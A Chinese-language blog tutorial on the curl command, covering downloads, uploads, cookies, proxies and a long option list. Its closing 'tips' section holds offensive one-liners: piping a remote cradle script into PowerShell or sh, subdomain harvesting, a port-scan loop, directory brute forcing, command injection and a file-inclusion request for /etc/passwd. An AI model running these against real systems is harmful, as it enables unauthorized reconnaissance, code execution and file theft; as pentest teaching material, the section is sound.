Jirairya

curl命令

2019-01-03

curl利用URL语法在命令行或脚本下数据传输工具。CURL可以下载HTML页面,填写HTML表单并提交它们;从FTP/HTTP服务器下载文件;将文件上传到服务器;读/写cookie…

从服务器获取响应

来自服务器的所有内容都是对请求的响应。因此,获取HTML页面与下载文件是一样的。

从http://info.cern.ch获取HTML响应:

curl http://info.cern.ch/

从服务器获取帖子列表的响应:

curl https://jsonplaceholder.typicode.com/posts

使用默认文件名保存文件

服务器上的文件都有自己的文件名,下载服务器上的文件,且保存时和服务器命名相同,使用-O参数。

下载文件:

curl -O http://www.google.com/robots.txt

使用自定义名称保存文件

自定义保存下载的文件,使用小写的-o参数:

curl https://www.baidu.com/robots.txt -o r2.txt

下载多个文件

下载多个文件,使用空格分隔开:

curl url1 url2 url3

若对所有URL进行参数操作,就使用和URL相同的参数个数:

curl url1 url2 url3 -O -O -O 

第一次出现的-O针对第一个URL,第二个出现的-O针对第二个URL,以此类推

批量下载文件

curl可以批量下载文件:

curl http://www.google.com/logo/logo[1-9].png

使用curl从服务器上下载logo1.png、logo2.png到logo9.png

仅下载指定时间之后有更改的文件

当下载一个文件时,可对该文件的最后修改日期进行判断,如果该文件在指定日期内修改过,就进行下载,否则不下载。

curl url -z "DD MMM YY MM:HH:SS"

#例子.若yy.html文件在2018年12月21日之后有过更新才会下载
curl -z 21-Dec-18 http://www.example.com/yy.html

恢复下载

若已经传输了部分文件就终止下载了,可以使用-C参数进行恢复下载。-C参数可进行断点续传:

curl -C 1024 http://seeni.linuxhandbook.org/files/largeFile.mpv -O

上传文件

使用-T参数可以上传本地文件到服务器:

curl -T uploadFile.txt http://upload.linuxhandbook.org/files

# 上传多个文件
curl -u ftpuser:ftppass -T "{file1,file2}" ftp://ftp.testserver.com

# 从标准输入获取内容保存到服务器指定的文件中
curl -u ftpuser:ftppass -T - ftp://ftp.testserver.com/myfile_1.txt

curl -u ftpuser:ftppass -T - ftp://ftp.testserver.com/myfile_1.txt

若有表单:

<form method="POST" enctype='multipart/form-data' action="upload.cgi">
    <input type=file name=upload>
    <input type=submit name=press value="OK">
  </form>

可以使用curl上传文件:

curl --form upload=@localfilename --form press=OK [URL]

删除文件

-X参数可以指定HTTP方法,如GET、POST、PUT、DELETE、PATCH

删除服务器上的文件:

curl -X DELETE http://upload.linuxhandbook.org/files/deleteFile.txt

服务器允许TRUNCATE方法的话,可以使用TRUNCATE删除服务器上的文件内容,不删除文件:

curl -X  TRUNCATE http://upload.linuxhandbook.org/files/mysql.dump

避免重定向

-L是对页面进行重定向,主要用在请求的页面移动到别的站点的情况下。默认情况下CURL不会发送HTTP Location headers(重定向)

认证

使用-u可进行服务器凭据认证:

curl -u username:password http://seeni.linuxhandbook.org/files/tasks.txt

传输速率限制

使用--limit-rate对数据传输进行限制。

将下载速率设置为10K:

curl --limit-rate 10K http://seeni.linuxhandbook.org/files/logoDetails.tgz

显示/隐藏传输状态

在传输数据的时候会显示传输的状态,可以使用-s隐藏传输状态:

curl -s https://www.baidu.com/robots.txt -o r3.txt

忽略SSL证书

允许curl使用非安全的ssl连接并且传输数据(证书不受信)

curl -k https://notSoSecure.org/files/logoDetails.tgz

显示头信息

-i参数可以显示http response的头信息,连同网页代码一起。

curl -i http://www.google.com/robots.txt

-I参数则是只显示http response的头信息

Referer字段

有时需要在http request头信息中,提供一个referer字段,表示从哪里跳转过来的。

#从example跳转到sina
curl --referer http://www.example.com http://www.sina.com

增加头信息

有时需要在http request之中,自行增加一个头信息。--header参数就可以起到这个作用:

curl --header "Content-Type:application/json" http://example.com

显示通信过程

-v参数可以显示一次http通信的整个过程,包括端口连接和http request头信息。

curl -v www.sina.com

更详细的通信过程:

curl --trace output.txt www.sina.com

curl --trace-ascii output2.txt www.sina.com

UA

这个字段是用来表示客户端的设备信息。服务器有时会根据这个字段,针对不同设备,返回不同格式的网页,比如手机版和桌面版。

curl --user-agent "[User Agent]" [URL]

curl -A "Mozilla FireFox(42.0)" http://notAllowedForCLI.sites.org/randomFile.png

发送表单信息

发送表单信息有GET和POST两种方法。

GET方法相对简单,只要把数据附在网址后面就行:

curl example.com/form.cgi?data=xxx

POST方法必须把数据和网址分开,curl就要用到–data参数:

curl -X POST --data "data=xxx" example.com/form.cgi

curl编码:

url -X POST--data-urlencode "date=April 1" example.com/form.cgi

发送的多个数据使用&连接:

curl -d "token=34343abvfgh&name='seeni'" http://api.restful.org/getcontent

	
curl --data "uname=test&pass=test" http://testphp.vulnweb.com/userinfo.php

使用--cookie参数,可以让curl发送cookie。

curl --cookie "name=xxx" www.example.com

至于具体的cookie的值,可以从http response头信息的Set-Cookie字段中得到。

-c cookie-file可以保存服务器返回的cookie到文件,如果文件名是破折号 -,则 cookie 将在 stdout 被打印出来。Cookie信息使用 Netscape cookie文件的格式进行记录。cookie 写入失败不会导致 curl 命令中止,使用 -v 参数可以在操作失败时看到警告信息

#存储 response数据包中的 cookie 信息到文件中
curl -c cookies http://example.com

-b cookie-file可以使用这个文件作为cookie信息,进行后续的请求。通常是之前同服务器通讯时,从服务器接收到的 response数据包中 Set-Cookie 字段中的内容。如果要指定多对值,格式为“NAME1=VALUE1;NAME2=VALUE2”。

#  为发送的 HTTP 数据包指定 cookie 内容
curl -b cookies http://example.com

如果您想通过丢弃cookie来发起新会话,请使用-j参数。即使您提供了带有-b参数的cookie文件来读取,它也会启动一个新的会话。

curl -b googleCookie.txt http://www.google.com/files -j

代理

支持几种不同类型的代理。

默认代理类型是HTTP,因此如果您指定代理类型(如http://),curl会假设它是HTTP代理。

curl还允许许多不同的选项来设置代理类型。

PAC

某些网络环境提供了应在不同情况下使用的几种不同代理,并且浏览器支持可自定义的处理方式。这称为“代理自动配置”或PAC。

PAC文件包含一个JavaScript函数,用于决定给定网络连接(URL)应使用哪个代理,即使它根本不应使用代理。浏览器通常从本地网络上的URL读取PAC文件。

由于curl没有JavaScript功能,curl不支持PAC文件。如果您的浏览器和网络使用PAC文件,最简单的路由通常是手动读取PAC文件并找出您需要指定的代理才能成功运行curl。

HTTP代理

通过192.168.0.1:8080代理请求example.com:

curl -x 192.168.0.1:8080 http:/example.com/

代理接收您的请求,将其转发到真实服务器,然后从服务器读取响应,然后将其交还给客户端。如果-v在与代理通信时启用详细模式

HTTPS代理

curl -x proxy.example.com:80 https://example.com/

HTTPS提供从客户机到服务器的端到端安全隐私。为了在与HTTP代理通信时提供端到端加密,HTTP协议有一个特殊的请求,curl使用该请求通过代理设置一个通道,然后对该通道进行加密和验证。这种HTTP方法称为CONNECT

当代理在CONNECT方法设置好加密数据后,将加密数据通过隧道传送到远程服务器时,代理无法在不破坏加密的情况下查看或修改流量:

curl -x proxy.example.com:80 https://example.com/

基于HTTP代理的非HTTP协议

“HTTP代理”意味着代理本身使用HTTP。HTTP代理主要用于代理HTTP协议,但也支持其他协议。特别是,FTP很常见。

当在HTTP代理上“使用”FTP时,通常或多或少伪装成像HTTP一样工作,并要求代理“获取这个URL”,即使该URL不使用HTTP。这种区别很重要,因为它意味着,当通过这样的HTTP代理发送时,curl并不真正使用FTP,即使给定了FTP URL;因此,特定于ftp的特性将不起作用:

curl -x http://proxy.example.com:80 ftp://ftp.example.com/file.txt

HTTP代理隧道

大多数HTTP代理允许客户端通过它“隧道”到另一端的服务器。这正是每次通过HTTP代理使用HTTPS时所做的事情。

使用curl时,使用-p或-proxytunnel,通过HTTP代理进行隧道通信。

当您通过代理执行HTTPS时,通常会连接到默认的HTTPS远程TCP端口号443,因此您会发现大多数HTTP代理都是白名单,并且只允许连接到该端口号上的主机,或许还可以连接到其他一些主机。大多数代理将拒绝客户机连接到任何随机端口(原因只有代理管理员知道)。

不过,假设HTTP代理允许,您可以要求它在任意端口号上通过隧道传送到远程服务器,这样即使在隧道传送时,您也可以“正常”执行其他协议。你可以这样做FTP隧道:

curl -p -x http://proxy.example.com:80 ftp://ftp.example.com/file.txt

socks代理

socks4代理:

curl -x socks4://proxy.example.com http://www.example.com/

curl --socks4 proxy.example.com http://www.example.com/

SOCKS4a代理(不在本地解析主机名):

curl -x socks4a://proxy.example.com http://www.example.com/

curl --socks4a proxy.example.com http://www.example.com/

Socks5代理(不在本地解析主机名):

curl -x socks5://[user:password@]proxyhost[:port]/ url
curl --socks5 192.168.1.254:3099 https://www.cyberciti.biz/

Socks5代理(将主机名发送到服务器,因此本地没有解析名称):

curl -x socks5h://proxy.example.com http://www.example.com/

curl --socks5-hostname proxy.example.com http://www.example.com/

可以使用-U user:password--proxy-user user:password选项设置代理身份验证的用户名和密码。

使用默认身份验证:

curl -U daniel:secr3t -x myproxy:80 http://example.com

不过还有使用特定的方法验证的,如--proxy-digest--proxy-negotiate--proxy-ntlm

使用NTLM进行代理验证:

curl -U daniel:secr3t -x myproxy:80 http://example.com --proxy-ntlm

 --proxy-anyauth 选择任一代理身份验证方法:

curl -U daniel:secr3t -x myproxy:80 http://example.com --proxy-anyauth

代理环境变量

url在运行之前检查是否存在特殊命名的环境变量,查看是否请求使用代理.

访问服务器的时候,告诉curl使用http代理:

http_proxy=http://proxy.example.com:80
curl -v www.example.com

上述例子使用了HTTP代理,当然也可以设置ftp_proxy,https_proxy等代理。

技巧

收集子域名

curl -s "http://web.archive.org/cdx/search/cdx?url=*.qq.com/*&output=text&fl=original&collapse=urlkey" |sort| sed -e 's_https*://__' -e "s/\/.*//" -e 's/:.*//' -e 's/^www\.//' | sort -u

Curl执行远程脚本

curl.exe hxxp://someurl/cradle.ps1 | powershell.exe

curl host/script.sh| sh

端口扫描

var in {1..65535};do curl -s host:$var;done

#brute force files or directories
for var in $(cat files_dictionary);do curl host/$var;don

命令注入

curl "http://192.168.0.16/commandexec/example1.php?127.0.0.1;ls"

文件包含

curl http://192.168.0.16/fileincl/example.php?page=/etc/passwd

详细参数列表


-a/--append 上传文件时,附加到目标文件  
 -A/--user-agent <string>  设置用户代理发送给服务器  
 - anyauth   可以使用“任何”身份验证方法  
 -b/--cookie <name=string/file> cookie字符串或文件读取位置  
 - basic 使用HTTP基本验证  
 -B/--use-ascii 使用ASCII /文本传输  
 -c/--cookie-jar <file> 操作结束后把cookie写入到这个文件中  
 -C/--continue-at <offset>  断点续转  
 -d/--data <data>   HTTP POST方式传送数据  
 --data-ascii <data>  以ascii的方式post数据  
 --data-binary <data> 以二进制的方式post数据  
 --negotiate     使用HTTP身份验证  
 --digest        使用数字身份验证  
 --disable-eprt  禁止使用EPRT或LPRT  
 --disable-epsv  禁止使用EPSV  
 -D/--dump-header <file> 把header信息写入到该文件中  
 --egd-file <file> 为随机数据(SSL)设置EGD socket路径  
 --tcp-nodelay   使用TCP_NODELAY选项  
 -e/--referer 来源网址  
 -E/--cert <cert[:passwd]> 客户端证书文件和密码 (SSL)  
 --cert-type <type> 证书文件类型 (DER/PEM/ENG) (SSL)  
 --key <key>     私钥文件名 (SSL)  
 --key-type <type> 私钥文件类型 (DER/PEM/ENG) (SSL)  
 --pass  <pass>  私钥密码 (SSL)  
 --engine <eng>  加密引擎使用 (SSL). "--engine list" for list  
 --cacert <file> CA证书 (SSL)  
 --capath <directory> CA目录 (made using c_rehash) to verify peer against (SSL)  
 --ciphers <list>  SSL密码  
 --compressed    要求返回是压缩的形势 (using deflate or gzip)  
 --connect-timeout <seconds> 设置最大请求时间  
 --create-dirs   建立本地目录的目录层次结构  
 --crlf          上传是把LF转变成CRLF  
 -f/--fail          连接失败时不显示http错误  
 --ftp-create-dirs 如果远程目录不存在,创建远程目录  
 --ftp-method [multicwd/nocwd/singlecwd] 控制CWD的使用  
 --ftp-pasv      使用 PASV/EPSV 代替端口  
 --ftp-skip-pasv-ip 使用PASV的时候,忽略该IP地址  
 --ftp-ssl       尝试用 SSL/TLS 来进行ftp数据传输  
 --ftp-ssl-reqd  要求用 SSL/TLS 来进行ftp数据传输  
 -F/--form <name=content> 模拟http表单提交数据  
 -form-string <name=string> 模拟http表单提交数据  
 -g/--globoff 禁用网址序列和范围使用{}和[]  
 -G/--get 以get的方式来发送数据  
 -h/--help 帮助  
 -H/--header <line>自定义头信息传递给服务器  
 --ignore-content-length  忽略的HTTP头信息的长度  
 -i/--include 输出时包括protocol头信息  
 -I/--head  只显示文档信息  
 从文件中读取-j/--junk-session-cookies忽略会话Cookie  
 - 界面<interface>指定网络接口/地址使用  
 - krb4 <级别>启用与指定的安全级别krb4  
 -j/--junk-session-cookies 读取文件进忽略session cookie  
 --interface <interface> 使用指定网络接口/地址  
 --krb4 <level>  使用指定安全级别的krb4  
 -k/--insecure 允许不使用证书到SSL站点  
 -K/--config  指定的配置文件读取  
 -l/--list-only 列出ftp目录下的文件名称  
 --limit-rate <rate> 设置传输速度  
 --local-port<NUM> 强制使用本地端口号  
 -m/--max-time <seconds> 设置最大传输时间  
 --max-redirs <num> 设置最大读取的目录数  
 --max-filesize <bytes> 设置最大下载的文件总量  
 -M/--manual  显示全手动  
 -n/--netrc 从netrc文件中读取用户名和密码  
 --netrc-optional 使用 .netrc 或者 URL来覆盖-n  
 --ntlm          使用 HTTP NTLM 身份验证  
 -N/--no-buffer 禁用缓冲输出  
 -o/--output 把输出写到该文件中  
 -O/--remote-name 把输出写到该文件中,保留远程文件的文件名  
 -p/--proxytunnel   使用HTTP代理  
 --proxy-anyauth 选择任一代理身份验证方法  
 --proxy-basic   在代理上使用基本身份验证  
 --proxy-digest  在代理上使用数字身份验证  
 --proxy-ntlm    在代理上使用ntlm身份验证  
 -P/--ftp-port <address> 使用端口地址,而不是使用PASV  
 -Q/--quote <cmd>文件传输前,发送命令到服务器  
 -r/--range <range>检索来自HTTP/1.1或FTP服务器字节范围  
 --range-file 读取(SSL)的随机文件  
 -R/--remote-time   在本地生成文件时,保留远程文件时间  
 --retry <num>   传输出现问题时,重试的次数  
 --retry-delay <seconds>  传输出现问题时,设置重试间隔时间  
 --retry-max-time <seconds> 传输出现问题时,设置最大重试时间  
 -s/--silent静音模式。不输出任何东西  
 -S/--show-error   显示错误  
 --socks4 <host[:port]> 用socks4代理给定主机和端口  
 --socks5 <host[:port]> 用socks5代理给定主机和端口  
 --stderr <file>  
 -t/--telnet-option <OPT=val> Telnet选项设置  
 --trace <file>  对指定文件进行debug  
 --trace-ascii <file> Like --跟踪但没有hex输出  
 --trace-time    跟踪/详细输出时,添加时间戳  
 -T/--upload-file <file> 上传文件  
 --url <URL>     Spet URL to work with  
 -u/--user <user[:password]>设置服务器的用户和密码  
 -U/--proxy-user <user[:password]>设置代理用户名和密码  
 -v/--verbose  
 -V/--version 显示版本信息  
 -w/--write-out [format]什么输出完成后  
 -x/--proxy <host[:port]>在给定的端口上使用HTTP代理  
 -X/--request <command>指定什么命令  
 -y/--speed-time 放弃限速所要的时间。默认为30  
 -Y/--speed-limit 停止传输速度的限制,速度时间秒  
 -z/--time-cond  传送时间设置  
 -0/--http1.0  使用HTTP 1.0  
 -1/--tlsv1  使用TLSv1(SSL)  
 -2/--sslv2 使用SSLv2的(SSL)  
 -3/--sslv3         使用的SSLv3(SSL)  
 --3p-quote      like -Q for the source URL for 3rd party transfer  
 --3p-url        使用url,进行第三方传送  
 --3p-user       使用用户名和密码,进行第三方传送  
 -4/--ipv4   使用IP4  
 -6/--ipv6   使用IP6  

refer

  • https://linuxhandbook.com/curl-command-examples/
  • https://ec.haxx.se/usingcurl-proxies.html
  • https://www.hackingarticles.in/web-application-penetration-testing-curl/
  • http://www.ruanyifeng.com/blog/2011/09/curl.html

Similar Posts

Comments